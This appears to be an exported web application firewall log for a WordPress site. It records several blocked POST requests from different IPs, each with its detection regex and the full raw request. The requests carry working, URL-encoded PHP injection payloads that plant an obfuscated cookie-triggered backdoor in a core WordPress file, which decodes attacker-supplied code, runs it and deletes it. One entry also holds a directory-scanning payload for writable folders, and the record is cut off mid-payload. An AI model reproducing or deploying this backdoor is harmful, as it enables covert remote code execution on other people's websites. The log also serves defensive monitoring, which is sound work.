%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524fac%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524fac%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524ptr%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524fac%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524fac%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entity%2520%253D%2520%2522819852515257be24447167093c8d2232%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4289\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvoKHvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nmu=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-rss.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B12%252B-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-69%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B39-36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524res%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524fac%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273a6cdd83%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524fac%2529%2529%2520%257B%2520%2524fac%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524ptr%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524fac%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524fac%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524ptr%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524fac%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524fac%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entity%2520%253D%2520%2522819852515257be24447167093c8d2232%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:59:35","91.142.222.105","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> kK:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-rss.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B12%252B-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-69%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B39-36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524res%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524fac%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273a6cdd83%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524fac%2529%2529%2520%257B%2520%2524fac%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524ptr%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524fac%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524fac%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524ptr%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524fac%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524fac%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entity%2520%253D%2520%2522819852515257be24447167093c8d2232%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Microsoft Edge\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36 Edg\/99.0.1150.30\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4289\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn0fvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz9uqKEbMKuwMKO0nJ9hplV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\n\nkK=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-rss.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B12%252B-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-69%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B39-36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524res%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524fac%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273a6cdd83%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524fac%2529%2529%2520%257B%2520%2524fac%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524ptr%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524fac%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524fac%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524ptr%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524fac%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524fac%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entity%2520%253D%2520%2522819852515257be24447167093c8d2232%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:00:46","185.176.9.68","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> gI:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-rss.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B12%252B-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-69%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B39-36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524res%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524fac%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273a6cdd83%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524fac%2529%2529%2520%257B%2520%2524fac%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524ptr%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524fac%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524fac%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524ptr%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524fac%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524fac%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entity%2520%253D%2520%2522819852515257be24447167093c8d2232%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.67 Safari\/537.36\nsec-fetch-site:none\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-length:4289\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvM0xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvLI9coaAypaEco24vB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\ngI=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/widgets\/class-wp-widget-rss.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2520%2528isset%2528%2524_COOKIE%255B12%252B-12%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B-69%252B70%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B39-36%255D%2529%2520%2526%2526%2520isset%2528%2524_COOKIE%255B62-58%255D%2529%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520function%2520dependency_resolver%2528%2524res%2529%2520%257B%2520%2524ent%2520%253D%2520%2524_COOKIE%253B%2520%2524fac%2520%253D%2520tempnam%2528%2528%2521empty%2528session_save_path%2528%2529%2529%2520%253F%2520session_save_path%2528%2529%2520%253A%2520sys_get_temp_dir%2528%2529%2529%252C%2520%25273a6cdd83%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524fac%2529%2529%2520%257B%2520%2524fac%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522app_initializer%2522%253B%2520%257D%2520%2524ptr%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524ent%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524fac%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524fac%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524ptr%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524fac%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524fac%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522dependency_resolver%2522%2529%253B%2520%2524entity%2520%253D%2520%2522819852515257be24447167093c8d2232%2522%253B%2520if%2520%2528%2521strncmp%2528%2524entity%252C%2520%2524ent%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522batch_process_mutex_lock%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 17:02:06","46.32.255.52","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","\\$_(GET|post|cookie|files|session|env|phplib|GLOBALS|SERVER)\\[ >> jW:%3C%3Fphp%20%20%20function%20po%28%24p%29%20%7B%20%20%20%20%20%24f%20%3D%20glob%28%22%24p\/%2A.%2A%22%29%3B%20%20%20%20%20if%20%28%21in_array%28%24f%2C%20%5B%27.%27%2C%20%27..%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20array_multisort%28array_map%28%27filemtime%27%2C%20%24f%29%2C%20SORT_NUMERIC%2C%20SORT_ASC%2C%20%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20isset%28%24f%5B0%5D%29%20%3F%20filemtime%28%24f%5B0%5D%29%20%3A%20filemtime%28%24p%29%3B%20%7D%20function%20check%28%24p%2C%20%24root%29%20%7B%20%20%20%20%20%24t%20%3D%20count%28glob%28%22%24p\/%2A.php%22%29%29%20%3F%20%27ph%27%20%3A%20%27d%27%3B%20%20%20%20%20%24o%20%3D%20po%28%24p%29%3B%20%20%20%20%20%24res%20%3D%20str_replace%28%24root%2C%20%27%27%2C%20%24p%29%3B%20%20%20%20%20print%20%22%3C%7B%24t%7D%3E%7B%24res%7D%40%7B%24o%7D%3C\/%7B%24t%7D%3E%5Cn%22%3B%20%7D%20function%20scan%28%24path%2C%20%24root%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20%27\/%27%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_writable%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20check%28%24p%2C%20%24root%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%